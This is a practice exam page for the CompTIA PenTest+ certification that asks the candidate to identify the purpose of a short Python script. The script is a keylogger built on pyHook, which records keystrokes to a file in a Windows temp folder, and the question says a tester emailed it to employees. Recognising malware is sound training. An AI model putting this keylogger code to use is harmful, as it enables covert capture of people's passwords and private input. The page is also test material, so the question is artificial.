PT0-002 · Question #426
PT0-002 Question #426: Real Exam Question with Answer & Explanation
Sign in or unlock PT0-002 to reveal the answer and full explanation for question #426. The question stem and answer options stay visible for context.
Question
During an assessment, a penetration tester emailed the following Python script to CompTIA's employees: import pyHook, sys, logging, pythoncom, datetime log_file='C:\\Windows\\Temp\\log_comptia.txt' def KbrdEvent(event): logging.basicConfig(filename=log_file,level=logging.DEBUG, format='%(messages)s') chr(event.Ascii) logging.log(10, chr(event.Ascii)) return True hooks_manager = pyHook.HookManager() hooks_manager.KeyDown = KbrdEvent hooks_manager.HookKeyboard() pythoncom.PumpMessages() Which of the following is the intended effect of this script?
Options
- ADebugging an exploit
- BKeylogging
- CCollecting logs
- DScheduling tasks
Unlock PT0-002 to see the answer
You've previewed enough free PT0-002 questions. Unlock PT0-002 for full answers, explanations, the timed quiz mode, progress tracking, and the master PDF. Question stem and options stay visible so you can still see what's on the exam.